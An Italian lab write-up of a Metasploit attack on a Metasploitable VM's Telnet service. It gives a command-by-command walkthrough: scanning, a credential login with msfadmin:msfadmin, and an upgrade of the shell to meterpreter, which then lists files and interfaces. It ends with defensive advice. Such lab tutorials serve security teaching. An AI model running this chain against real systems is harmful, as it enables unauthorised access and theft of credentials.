

Exploit Telnet con Metasploit

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: The use command supports fuzzy searching to try and
select the intended module, e.g. use kerberos/get_ticket or use
kerberos forge silver ticket

.:ok000kdc'          'cdk000ko:
.x00000000000000c    c0000000000000x.
:000000000000000k,   ,k000000000000000:
'000000000kkkk00000: :0000000000000000'
o00000000.MMMM.o0000o0000l.MMMM,00000000o
d00000000.MMMMMM.c00000c.MMMMMM,00000000x
l00000000.MMMMMMMMM;d;MMMMMMMMM,00000000l
.00000000.MMM.;MMMMMMMMMMMM;MMM,00000000.
c0000000.MMM.O0c.MMMMM'o00.MMM,0000000c
o000000.MMM.O000.MMM:0000.MMM,000000o
l00000.MMM.O000.MMM:0000.MMM,000000l
;0000'MMM.O000.MMM:0000.MMM;0000;
.d00o WM.O000o0ccx0000.MX'x00d.
,k0l'M.O000000000000.M'd0k,
:kk;.0000000000000.0k:
;k000000000000000k:
,x000000000000x,
.l00000000l.
.d0d,
```

Oggi ci siamo concentrati sull'exploit di telnet sempre con metasploit e sempre su metaspotable. In particolare, abbiamo visto come un attaccante potrebbe sfruttare questa vulnerabilità per entrare e rubare dati come user e password che spesso vengono utilizzate anche per altri servizi. Prima di darvi le soluzioni per proteggervi vi spiegherò un esempio creato in un laboratorio virtuale protetto.

Per prima cosa bisogna avviare la msfconsole e andremo ad usare un modulo ausiliario specifico presente già in msfconsole

Quindi eseguiamo il comando `search type:auxiliary telnet`, successivamente scrivete

`use auxiliary/scanner/telnet/telnet_version`, sulla stringa che si apre lanciamo `show options`, un comando che ci permetterà di vedere le operazioni necessarie per l'attacco e, di solito, si dovrà aggiungere solo l'ip host con il comando `set RHOST 192.168...`

Ora vediamo con delle foto nel pratico cosa succede:

```
msf6 > search type:auxiliary telnet

Matching Modules
-----
#   Name                                           Disclosure Date  Rank   Check  Descriptio
-   -
0   auxiliary/server/capture/telnet                .               normal No      Authentica
   Capture: telnet
1   auxiliary/scanner/telnet/brocade_enable_login   .               normal No      Brocade En
   Login Check Scanner
2   auxiliary/dos/cisco/ios_telnet_rocem           2017-03-17      normal No      Cisco IOS
```

```
msf6 > use 14
msf6 auxiliary(scanner/telnet/telnet_version) > options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
PASSWORD    no               no        The password for the specified username
RHOSTS      yes              yes       The target host(s), see https://docs.metasploit.c
/basics/using-metasploit.html
RPORT       23               yes       The target port (TCP)
THREADS     1                yes       The number of concurrent threads (max one per h
TIMEOUT     30               yes       Timeout for the Telnet probe
USERNAME    no               no        The username to authenticate as
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.3
RHOSTS => 192.168.50.3
msf6 auxiliary(scanner/telnet/telnet_version) > options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
PASSWORD    no               no        The password for the specified username
RHOSTS      192.168.50.3    yes       The target host(s), see https://docs.metasploit.c
/basics/using-metasploit.html
RPORT       23               yes       The target port (TCP)
THREADS     1                yes       The number of concurrent threads (max one per hos
TIMEOUT     30               yes       Timeout for the Telnet probe
USERNAME    no               no        The username to authenticate as

View the full module info with the info, or info -d command.
```

Una volta pronti abbiamo visto che nei moduli era presente un'altro interessante ovvero **auxiliary/scanner/telnet/telnet_login**

Che permette di effettuare un bruteforce per cercare credenziali.

Una volta aperta la riga di comando siamo andati a settare come aveva detto il prof quindi aggiungendo:

1. Il target **RHOSTS**.
2. Le credenziali note **USERNAME** e **PASSWORD**.
3. L'opzione **STOP_ON_SUCCESS** su true.

Quest'ultima opzione permette di completare l'attacco nel momento in cui trova la coppia giusta di credenziali, anche se in questo esercizio le abbiamo date noi, un attaccante nella vita reale può trovare così le tue credenziali.

```
msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.3
RHOSTS => 192.168.50.3
msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
[!] Unknown datastore option: USERNAME. Did you mean USERNAME?
USERNAME => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf6 auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/telnet/telnet_login) > run
[!] 192.168.50.3:23 - No active DB -- Credential data will not be saved!
[+] 192.168.50.3:23 - 192.168.50.3:23 - Login Successful: msfadmin:msfadmin
```

PASSWORD	msfadmin
PASS_FILE	
RHOSTS	192.168.50.3
RPORT	23
STOP_ON_SUCCESS	true
THREADS	1
USERNAME	msfadmin

Successivamente abbiamo deciso di mettere in background la sessione per poi crearne un'altra con meterpreter, questo permette di avere un accesso totale al target, quindi abbiamo messo **use post/multi/manage/shell_to_meterpreter**, visto

attraverso options cosa mancava ovvero **LHOST** e la **SESSION** di riferimento, nel primo abbiamo inserito l'ip della macchina attaccante, e nel secondo la sessione che avevamo messo in background attraverso un **ctrl z**, quindi settati questi parametri abbiamo richiamato sessions per vedere le opzioni che ci dava ed effettivamente erano presenti due, una shell normale e meterpreter, con il comando session 2 ci si è aperta e così abbiamo avuto accesso completo alla macchina.

```
msf6 auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions

  Id  Name  Type  Information                                     Connection
  --  ---  ---  ---
  1           shell  TELNET msfadmin:msfadmin (192.168.50.3:23)  192.168.50.2:40763 → 192.168.50.3:23 (192.168.50.3)

msf6 auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$
```

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

  Id  Name  Type  Information                                     Connection
  --  ---  ---  ---
  1           shell  TELNET msfadmin:msfadmin (192.168.50.3:23)  192.168.50.2:40763 → 192.168.50.3:23 (192.168.50.3)
  2           meterpreter x86/linux  msfadmin @ metasploitable.localdomain  192.168.50.2:4433 → 192.168.50.3:5647 2 (192.168.50.3)
```

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

```
meterpreter > ls
Listing: /home/msfadmin
```

Mode	Size	Type	Last modified	Name
020666/rw-rw-rw-	0	cha	2010-03-16 19:01:07 -0400	.bash_history
040755/rwxr-xr-x	4096	dir	2010-04-17 14:11:00 -0400	.distcc
040700/rwx-----	4096	dir	2025-08-07 06:25:02 -0400	.gconf
040700/rwx-----	4096	dir	2025-08-07 06:25:32 -0400	.gconfd
100600/rw-----	4174	fil	2012-05-14 02:01:49 -0400	.mysql_history
100644/rw-r--r--	586	fil	2010-03-16 19:12:59 -0400	.profile
100700/rwx-----	4	fil	2012-05-20 14:22:32 -0400	.rhosts
040700/rwx-----	4096	dir	2010-05-17 21:43:18 -0400	.ssh
100644/rw-r--r--	0	fil	2010-05-07 14:38:35 -0400	.sudo_as_admin_successful
040755/rwxr-xr-x	4096	dir	2010-04-27 23:44:17 -0400	vulnerable

```
Interface 2
Name : eth0
Hardware MAC : 08:00:27:91:b2:cb
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.50.3
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe91:b2cb
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

In conclusione, capire quanto è facile per un attaccante entrare è il primo passo per la protezione così come se siete un'azienda è sempre meglio appoggiarvi ad un esperto, però ricordatevi che tenendo aggiornato il sistema, l'utilizzo di password complesse e soprattutto non ripetute e l'installazione di antivirus sono già azioni che possono salvare i vostri dati. Grazie dell'attenzione.